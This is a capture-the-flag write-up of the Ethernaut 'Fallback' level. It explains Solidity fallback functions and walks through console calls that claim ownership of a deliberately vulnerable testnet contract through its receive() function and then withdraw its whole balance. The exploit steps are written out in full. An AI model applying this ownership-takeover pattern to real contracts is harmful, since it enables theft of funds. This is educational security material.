Ethernaut: Fallback

Ethernaut: Fallback

Fall what? Like a backup plan?

·

4 min read

Precisely. Solidity allows developers to create fallback functions that are invoked when a contract receives a transaction that is not handled by any existing functions.

For instance, let's say Contract A has been deployed with only a payable fallback function. Suppose a user sent a transaction with a value of 1 ether to the contract, even though the contract lacks a proper function to handle the transaction, it may rely on its fallback function, receive(), to accept and process the transaction. Thus, allowing the contract to receive 1 ether and store it as its balance.

Before starting the challenge, do ensure that your wallet has sufficient funds to cover the transaction value and gas fees, which in my case would be around < 0.5 MATIC. Since we are on a testnet, funds may be obtained through the appropriate online faucets, for instance, using the Mumbai Polygon Faucet for the Mumbai Polygon testnet.

Challenge

The challenge features quite a lengthy contract, which may seem daunting, especially to beginners, like me. Though, after reading through and understanding the contract, one may only focus on the following functions:

contract Fallback {
...  
  function contribute() public payable {
    require(msg.value < 0.001 ether); // $ sent shld be < 0.001 ether
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
...
  function withdraw() public onlyOwner { // Owner only!
    payable(owner).transfer(address(this).balance);
  }

  // Need $ sent > 0 and user contributions > 0
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

As we relate the aforementioned functions with the challenge description, we may see a correlation that we need in order to complete the challenge. As you can see below, by triggering the receive() fallback function to set ourselves as the contract owner, we can then invoke the withdraw() function which can only be called by the contract owner due to the onlyOwner access modifier, to transfer the balance of the contract to our address.

You will beat this level if

  1. you claim ownership of the contract

  2. you reduce its balance to 0

However, the receive() fallback function has a require() statement that ensures two conditions:

  1. Transaction value > 0

  2. Transaction sender has made previous contributions, such that contribution > 0

As such, we must satisfy all the conditions for the receive() fallback function to be executed successfully.

Solution

To trigger the receive() fallback function, we must first contribute a small amount of ether to the contract by specifying any amount of Ether that is lesser than 0.001 due to the require() statement as the value. The field, msg.value, takes in Wei as its currency unit instead of Ether which may be converted to Wei using the toWei() function.

// the contract requires eth < 0.001, hence we use a value of 0.0009 then convert to WEI
await contract.contribute({ value: toWei('0.0009') })

After which, we may now view our contributions made to the smart contract which should return a non-zero value.

// View your contributions
await contract.contributions(player).then(r => r.toString())

Now that we have verified our contributions and satisfied the requirements for the receive() fallback function, we may now call the sendTransaction() function with the origin, destination, and value specified as its arguments, as seen below.

await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})

You may have noticed that we have always been using the contract's own functions through its Application Binary Interface (ABI) by directly calling its functions using the contract prefix. Though, this is not the case for sendTransaction(), which is an external custom function that allows users to directly send a transaction to the network (also part of the web3 package).

With this, we should now be the owner of the smart contract and we may now withdraw all the funds from the smart contract using its own withdraw() function.

// Check owner
await contract.owner()

// Withdraw funds using the contract's ABI
contract.withdraw()

// Check contract's balance
await getBalance(contract.address)

Conclusion

This challenge provides a great overview of the basics of smart contract interaction through a contract's ABI as well as external functions.